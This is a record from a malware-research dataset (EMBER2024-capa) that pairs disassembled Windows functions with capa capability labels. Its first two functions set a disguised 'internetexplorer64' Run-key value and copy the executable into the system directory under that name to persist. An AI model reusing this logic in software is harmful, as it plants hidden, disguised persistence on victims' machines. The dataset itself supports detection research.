joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402230
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x108
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push 0
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x14]
push str.internetexplorer64
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x108
ret

Function at 0x4022f0
Capabilities:
Copy file
Create process on windows
Get common file path
Terminate process

Disassembly:
push edi
push 0x40ac78
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x104
push 0x40ae88
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
push 0x40ad80
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, 0x40ae88
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x40ac78
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jne 0x402364
push 0x104
push 0x40ac78
push 0x40ae88
call fcn.004025d0
add esp, 0xc
test eax, eax
je 0x4023f3
xor eax, eax
mov cl, byte [eax + 0x40ae88]
mov byte [eax + 0x40ab70], cl
inc eax
test cl, cl
jne 0x402366
mov edi, 0x40ab70
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
mov ax, word [0x4082c4]
or ecx, 0xffffffff
mov word [edi - 1], ax
mov edi, 0x40ab70
xor eax, eax
mov esi, str.internetexplorer64.exe
repne scasb al, byte es:[edi]
dec edi
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
push 0x40ab70
push 0x40ad80
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
pop esi
je 0x4023f3
mov eax, dword [0x40af8c]
test eax, eax
je 0x4023d0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0x40ae88
push 0
push 0x40ab70
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
ret
Function at 0x403e31
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4085a0
cmp edx, dword [eax]
je 0x403e53
add eax, 8
inc ecx
cmp eax, 0x408630
jl 0x403e44
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4085a0]
jne 0x403f81
mov eax, dword [0x40af9c]
cmp eax, 1
je 0x403f5b
test eax, eax
jne 0x403e84
cmp dword [0x4082d4], 1
je 0x403f5b
cmp edx, 0xfc
je 0x403f81
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403ebb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404aa0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404440
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403efe
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404440
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4074b4
push edi
call fcn.00406130
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404aa0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404ab0
lea eax, [ebp - 0xa0]
push 0x407494
push eax
call fcn.00404ab0
push dword [esi + 0x4085a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404ab0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004060a5
add esp, 0x2c
pop edi
jmp 0x403f81
lea eax, [ebp + 8]
lea esi, [esi + 0x4085a4]
push 0
push eax
push dword [esi]
call fcn.00404440
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10009340
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x100bc334
push dword [ebp + 8]
lea eax, [ebp + 8]
mov esi, ecx
push eax
call fcn.10076bd4
mov eax, dword [ebp + 8]
add esp, 0xc
test eax, eax
je 0x10009426
push 2
push 0
push eax
call fcn.100769a9
push dword [ebp + 8]
call fcn.100764af
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10009426
mov eax, dword [ebp + 0xc]
xor edi, edi
cmp eax, 1
jne 0x10009396
lea edi, [eax + 1]
jmp 0x100093a0
test eax, eax
mov ecx, 1
cmove edi, ecx
lea eax, [edi + ebx]
push eax
call fcn.10070e78
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.100769a9
push dword [ebp + 8]
push ebx
push 1
push dword [ebp - 4]
call fcn.1007748f
add esp, 0x20
cmp eax, ebx
jne 0x10009426
test edi, edi
je 0x100093e2
mov eax, dword [ebp - 4]
push edi
add eax, ebx
push 0
push eax
call fcn.10073960
add esp, 0xc
push dword [ebp + 8]
call fcn.10076669
mov ebx, dword [ebp - 4]
add esp, 4
mov ecx, esi
push dword [ebp + 0xc]
push ebx
call fcn.10009550
push ebx
call fcn.10070d5e
mov eax, dword [esi + 0x28]
add esp, 4
mov ecx, dword [eax]
test ecx, ecx
je 0x1000941f
nop dword [eax]
cmp ecx, 0x20
jne 0x10009431
mov ecx, dword [eax + 4]
add eax, 4
test ecx, ecx
jne 0x10009410
mov dword [esi + 0x2c], 0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x2c], eax
test eax, eax
je 0x10009426
push 0x20
call fcn.100709e3
xorps xmm0, xmm0
mov dword [ebp + 0xc], eax
add esp, 4
movq qword [eax], xmm0
lea ecx, [eax + 0xc]
mov dword [eax + 8], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 1
mov dword [eax], 0x100bc588
mov dword [ecx], 0x100bc59c
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 4], esi
mov edi, dword [esi + 0x34]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], eax
test edi, edi
je 0x100094b6
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [edi + 4], eax
jne 0x100094b6
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], ebx
dec ebx
jne 0x100094b6
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov ecx, dword [esi + 0x30]
mov eax, dword [ecx]
mov eax, dword [eax]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c820
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov edx, dword [ebp + 0xc]
push 0xffffffffffffffff
push 0x100a9f85
push eax
mov dword fs:[0], esp
sub esp, 0x18
cmp dword [edx + 0x14], 0x10
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
jb 0x1000c84d
mov edi, dword [edx]
xor ecx, ecx
mov esi, 0x811c9dc5
cmp dword [edx + 0x10], ecx
jbe 0x1000c872
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, dword [edx + 0x10]
jb 0x1000c860
push esi
push edx
lea eax, [ebp - 0x18]
mov ecx, ebx
push eax
call fcn.1000deb0
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000c8a2
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebx + 8], 0x4924924
je 0x1000ca09
lea eax, [ebx + 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
push 0x38
mov dword [ebp - 0x1c], 0
call fcn.100709e3
add esp, 4
mov edi, eax
mov dword [ebp - 0x1c], edi
push dword [ebp + 0xc]
lea ecx, [edi + 8]
call fcn.1000c2b0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0xf
mov byte [edi + 0x20], 0
mov dword [ebp - 4], 1
mov eax, dword [ebx + 8]
inc eax
movss xmm3, dword [ebx]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100c5730]
mov eax, dword [ebx + 0x1c]
cvtpd2ps xmm2, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100c5730]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x1000c9a8
divss xmm2, xmm3
sub esp, 8
cvtps2pd xmm0, xmm2
movsd qword [ebp - 0x18], xmm0
fld qword [ebp - 0x18]
fstp qword [esp]
call fcn.1008ecd0
fstp qword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x18]
add esp, 8
cvtpd2ps xmm0, xmm0
call fcn.100a73b0
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [ebx + 0x1c]
cmp eax, ecx
jae 0x1000c98c
cmp eax, 0x200
jae 0x1000c98a
shl eax, 3
cmp eax, ecx
jae 0x1000c98c
mov eax, ecx
push eax
mov ecx, ebx
call fcn.1000dcc0
push esi
lea eax, [edi + 8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1000deb0
mov edx, dword [eax]
jmp 0x1000c9ab
mov edx, dword [ebp - 0x18]
mov eax, dword [ebx + 8]
mov ecx, dword [edx + 4]
inc eax
mov dword [ebx + 8], eax
mov dword [edi], edx
mov dword [edi + 4], ecx
mov dword [ecx], edi
mov dword [edx + 4], edi
mov eax, dword [ebx + 0x18]
mov dword [ebp + 0xc], ecx
and eax, esi
mov ecx, dword [ebx + 0xc]
mov esi, dword [ecx + eax*8]
cmp esi, dword [ebx + 4]
jne 0x1000c9d7
mov dword [ecx + eax*8], edi
jmp 0x1000c9e9
cmp esi, edx
jne 0x1000c9e0
mov dword [ecx + eax*8], edi
jmp 0x1000c9ed
mov edx, dword [ebp + 0xc]
cmp dword [ecx + eax*8 + 4], edx
jne 0x1000c9ed
mov dword [ecx + eax*8 + 4], edi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov byte [eax + 4], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x100bc538
call fcn.10071963
int3
Function at 0x10018450
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
or eax, 0xffffffff
push esi
push edi
mov edi, 4
lea esi, [ebx + 4]
jmp dword [edi*4 + 0x10019698]
Function at 0x100202f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
test ebx, ebx
je 0x10020302
mov dword [ebx], 0
mov edx, 0x100bc334
call fcn.10020130
mov esi, eax
test esi, esi
jne 0x10020316
pop esi
pop ebx
pop ebp
ret
push edi
push 2
push 0
push esi
call fcn.100769a9
add esp, 0xc
test eax, eax
jne 0x100203cd
push esi
call fcn.100764af
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x100203cd
push 0
push 0
push esi
call fcn.100769a9
add esp, 0xc
test eax, eax
jne 0x100203cd
mov eax, dword [0x100d83e0]
test eax, eax
je 0x10020360
inc dword [eax + 0x36c]
push dword [0x100d83dc]
push edi
call fcn.1001f8e0
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
je 0x100203cd
push esi
push edi
push 1
push eax
call fcn.1007748f
add esp, 0x10
push esi
cmp eax, edi
je 0x100203b7
call fcn.10076669
mov eax, dword [0x100d83e0]
add esp, 4
test eax, eax
je 0x1002039f
dec dword [eax + 0x36c]
push dword [0x100d83dc]
push dword [ebp + 8]
call fcn.1001f8f0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.10076669
add esp, 4
test ebx, ebx
je 0x100203c5
mov dword [ebx], edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call fcn.10076669
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10022220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
movss xmm0, dword [edx]
mov edi, 0x10
subss xmm0, dword [esi + 0xc]
mov ecx, dword [esi + 0x1c0]
cvttss2si eax, xmm0
movss xmm0, dword [edx + 4]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 0x10], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 8]
subss xmm0, dword [esi + 0xc]
mov dword [ebp - 0xc], eax
cvttss2si eax, xmm0
movss xmm0, dword [edx + 0xc]
subss xmm0, dword [esi + 0x10]
mov dword [ebp - 8], eax
cvttss2si eax, xmm0
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x1c8]
lea esi, [ebp - 0x10]
mov edx, dword [eax + ecx*4 - 4]
not edx
nop word [eax + eax]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100bc900]
sub edi, 1
jne 0x10022290
mov eax, dword [0x100d83e0]
not edx
pop edi
pop esi
cmp dword [eax + 0x19ac], edx
jne 0x100222c1
mov dword [eax + 0x19b4], edx
cmp dword [eax + 0x19b0], edx
jne 0x100222d0
mov byte [eax + 0x19c0], 1
mov eax, edx
mov esp, ebp
pop ebp
ret 4
Function at 0x1002ae40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100d83e0]
lea edx, [ebp - 8]
push ebx
push esi
push edi
mov eax, dword [eax + 0x198c]
mov esi, 4
mov ebx, dword [eax + 0x1c8]
lea edi, [eax + 0x1c0]
mov dword [ebp - 4], eax
mov eax, dword [edi]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
mov ebx, dword [ebx + eax*4 - 4]
not ebx
nop dword [eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x100bc900]
sub esi, 1
jne 0x1002ae80
mov eax, dword [ebp - 4]
not ebx
mov ecx, dword [ebp - 0xc]
mov esi, dword [eax + 0x1c4]
cmp ecx, esi
jne 0x1002aed3
inc ecx
test esi, esi
je 0x1002aebc
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add eax, esi
jmp 0x1002aec1
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.100308c0
mov ecx, dword [edi]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c8]
mov dword [eax + ecx*4], ebx
inc dword [edi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002fcf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [0x100d83e0]
mov eax, ecx
mov dword [ebp - 8], eax
mov dword [esi + 0x2cb4], 0
test eax, eax
je 0x1002fde8
push edi
lea edi, [esi + 0x2cb8]
mov dword [esi + 0x2cb4], 0
mov ecx, dword [edi + 4]
test ecx, ecx
jns 0x1002fd44
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.10030be0
xor ecx, ecx
mov dword [edi], 0
cmp dword [edi + 4], ecx
jne 0x1002fd5c
push 8
mov ecx, edi
call fcn.10030be0
mov ecx, dword [edi]
mov eax, dword [edi + 8]
push ebx
mov dword [ebp - 4], 0
mov byte [ecx + eax], 0
inc dword [edi]
cmp dword [esi + 0x2cc4], 0
mov ebx, dword [edi]
jle 0x1002fda7
xor ebx, ebx
nop word [eax + eax]
mov eax, dword [esi + 0x2ccc]
add eax, ebx
push edi
push eax
push esi
mov eax, dword [eax + 0x10]
call eax
mov eax, dword [ebp - 4]
add esp, 0xc
inc eax
add ebx, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x2cc4]
jl 0x1002fd80
mov ebx, dword [edi]
mov ecx, dword [ebp - 8]
lea eax, [ebx - 1]
neg ebx
mov edi, 0x100d82bb
mov edx, 0x100c2658
sbb ebx, ebx
and ebx, eax
mov eax, dword [esi + 0x2cc0]
test eax, eax
cmovne edi, eax
call fcn.10020130
mov esi, eax
test esi, esi
je 0x1002fde6
push esi
push ebx
push 1
push edi
call fcn.1007a3f3
push esi
call fcn.10076669
add esp, 0x14
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1008357c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100833f2
Function at 0x1000acdb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1000ad29
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1000ad1d
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp - 0x10]
call fcn.10021c54
mov dword [eax], 0x25b0e446
jmp 0x1000ad27
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x1000ad55
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0x1486
push 0
push dword [ebp - 0x14]
push 0x5135
push 0x4622
push 0x4ba7
push 0x139b
call fcn.10018243
add esp, 0x1c
mov esp, ebp
pop ebp
ret

Function at 0x1000b0c3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x1000b16e
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1000b14a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1000b12b
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 4
jge 0x1000b148
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.10021c54
mov dword [eax], 0x43b7c7ce
jmp 0x1000b120
jmp 0x1000b16c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x1000b1b8
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x3c], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x1000b1a6
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x1000b1a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1000b1b8
push 0x1687
push 0
push 0x1a98
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov esp, ebp
pop ebp
ret
Function at 0x1000cf5e
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1000cfad
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1000cf99
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [eax], 0xffffffff
jmp 0x1000cfab
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1000cfab
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x1000cfc1
push 0x374c
push 0
push 0x427
call fcn.100126dd
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x10012315
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1001238c
lea eax, [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10012379
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x1001235b
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jg 0x10012377
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10012375
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x10012350
jmp 0x1001238a
mov byte [ebp - 2], 0
lea eax, [ebp - 2]
push eax
push 0
call fcn.100168c8
pop ecx
pop ecx
jmp 0x100123a5
push 0x2059
push 0x6925
push 0x3347
push 0
call fcn.100116b0
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x100125c0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x10012694
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10012647
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10012628
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x10012645
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.10021c54
mov dword [eax], 1
jmp 0x1001261d
jmp 0x10012692
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x10012675
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jge 0x10012692
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x34]
call fcn.10021c54
mov dword [eax], 0x34e6d4f2
jmp 0x1001266a
jmp 0x100126d9
lea eax, [ebp + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x100126b2
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x100126d9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x100126d9
push 0
push 0
push 0
push 0x3c9
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov esp, ebp
pop ebp
ret
Function at 0x10013d5f
Capabilities:
Enumerate gui resources
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10013dd0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10013dab
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10013da9
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x10013dce
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x10013dce
push 0x8f3
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x10013de8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push 0
push 0x1473
call fcn.100190c7
add esp, 0xc
mov esp, ebp
pop ebp
ret